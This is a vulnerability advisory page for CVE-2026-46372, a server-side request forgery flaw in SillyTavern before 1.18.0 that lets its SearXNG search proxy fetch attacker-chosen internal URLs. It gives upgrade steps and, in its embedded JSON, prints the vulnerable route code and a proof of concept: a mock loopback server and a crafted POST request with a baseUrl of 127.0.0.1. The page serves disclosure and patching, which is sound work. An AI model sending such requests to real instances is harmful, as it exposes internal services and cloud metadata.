CVE-2026-46372: SillyTavern SSRF Vulnerability
HIGHCVE-2026-46372 is a HIGH (CVSS 8.5) ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting SillyTavern libraries in the npm ecosystem. The issue involves ssrf in searxng search proxy via unvalidated baseurl. Remediation is available by upgrading affected packages to version 1.18.0.
CVE-2026-46372 at a Glance
Security Impact
CVSS: 8.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-46372
To remediate this vulnerability, upgrade all affected SillyTavern dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install sillytavern@1.18.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls sillytavern
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-46372, inspect your project dependencies using npm:
npm ls sillytavern
Analyze the terminal output to locate any version of SillyTavern in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.18.0), your application is affected.
Note: The npm ls sillytavern command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In SillyTavern, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46372 Affected SillyTavern Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
sillytavern
|
npm |
< 1.18.0
|
1.18.0
|
References
Frequently Asked Questions
What is CVE-2026-46372?
Which SillyTavern versions are affected?
What version fixes CVE-2026-46372?
Is sillytavern affected?
What is the CVSS score of CVE-2026-46372?
What CWE is associated with CVE-2026-46372?
How can I check npm dependencies for CVE-2026-46372?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qg89-qwwh-5f3j",
"modified" : "2026-06-09T10:32:23Z",
"published" : "2026-05-19T20:09:52Z",
"aliases" : [ "CVE-2026-46372" ],
"summary" : "SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl",
"details" : "## Resolution\n\nSillyTavern 1.18.0 added a generic server-side request filter (Private Request Whitelisting). Since we expect users to use the application in a trusted environment, the filter is disabled by default, however it is strongly advised to be enabled and properly configured when an instance is being hosted over a network, as suggested by a console warning message and an officially published security checklist for administrators.\n\nDocumentation: \n\n- https://docs.sillytavern.app/administration/config-yaml/#private-address-whitelisting\n- https://docs.sillytavern.app/administration/#security-checklist\n\n## Note on future SSRF findings\n\nSince the request filter applies to the entire application, no SSRF vulnerabilities against individual endpoints will be accepted, unless it has been proven that a properly configured and enabled filter can be bypassed in an undocumented way. Only advisories disclosed before the 1.18.0 release will be posted if their concern is SSRF.\n\n## Summary\nSillyTavern 1.17.0 exposes `/api/search/searxng`, which accepts attacker-controlled `baseUrl` and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point `baseUrl` at an internal or loopback HTTP service and receive the `/search` response body.\n\nConfirmed version: SillyTavern 1.17.0 from the audited source tree. Broader affected versions and patched versions should be confirmed by the maintainer.\n\n## Details\nThe `/api/search/searxng` route in `src/endpoints/search.js` reads `baseUrl` from `request.body` and performs no allowlist, IP range, DNS, or scheme validation before making outbound requests.\n\nCore vulnerable path:\n\n```js\nrouter.post('/searxng', async (request, response) => {\n const { baseUrl, query, preferences, categories } = request.body;\n if (!baseUrl || !query) {\n return response.status(400).send('Missing required parameters');\n }\n\n const mainPageUrl = new URL(baseUrl);\n const mainPageRequest = await fetch(mainPageUrl, { headers: visitHeaders });\n ...\n const searchUrl = new URL('/search', baseUrl);\n const searchParams = new URLSearchParams();\n searchParams.append('q', query);\n ...\n const searchResult = await fetch(searchUrl, { headers: visitHeaders });\n ...\n const data = await searchResult.text();\n return response.send(data);\n});\n```\n\n`src/server-startup.js` mounts this router at `/api/search`, and `src/server-main.js` applies login middleware before the API routes. This means the source is a remote authenticated POST request and the sink is server-side `fetch()` to attacker-selected hosts.\n\n## PoC\nAttacker prerequisites: a valid SillyTavern web session, or access to a deployment where user accounts are disabled.\n\nStart an internal mock service on the target host:\n\n```js\nimport http from 'node:http';\n\nhttp.createServer((req, res) => {\n if (req.url === '/') {\n res.writeHead(200, { 'Content-Type': 'text/html' });\n return res.end('<html><head><link href=\"/client.css\" rel=\"stylesheet\"></head></html>');\n }\n if (req.url === '/client.css') {\n res.writeHead(200, { 'Content-Type': 'text/css' });\n return res.end('body{}');\n }\n if (req.url.startsWith('/search?q=')) {\n res.writeHead(200, { 'Content-Type': 'text/plain' });\n return res.end('INTERNAL-SEARCH-RESULT');\n }\n res.writeHead(404);\n res.end('not found');\n}).listen(9091, '127.0.0.1');\n```\n\nThen send:\n\n```http\nPOST /api/search/searxng HTTP/1.1\nHost: TARGET:8000\nCookie: session-...=...\nX-CSRF-Token: <token from /csrf-token>\nContent-Type: application/json\n\n{\"baseUrl\":\"http://127.0.0.1:9091/\",\"query\":\"x\"}\n```\n\nResult based on the route logic: SillyTavern first fetches `http://127.0.0.1:9091/`, then fetches `http://127.0.0.1:9091/search?q=x`, and returns `INTERNAL-SEARCH-RESULT` to the attacker.\n\n## Impact\nThis is an authenticated SSRF primitive with arbitrary host and port selection. It can disclose responses from loopback or internal HTTP services reachable from the SillyTavern host and may enable interaction with internal admin panels, development services, cloud metadata endpoints in applicable deployments, or service discovery across private networks.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "sillytavern"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.18.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.17.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-qg89-qwwh-5f3j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46372"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/SillyTavern/SillyTavern"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T20:09:52Z",
"nvd_published_at" : "2026-05-29T19:16:25Z"
}
}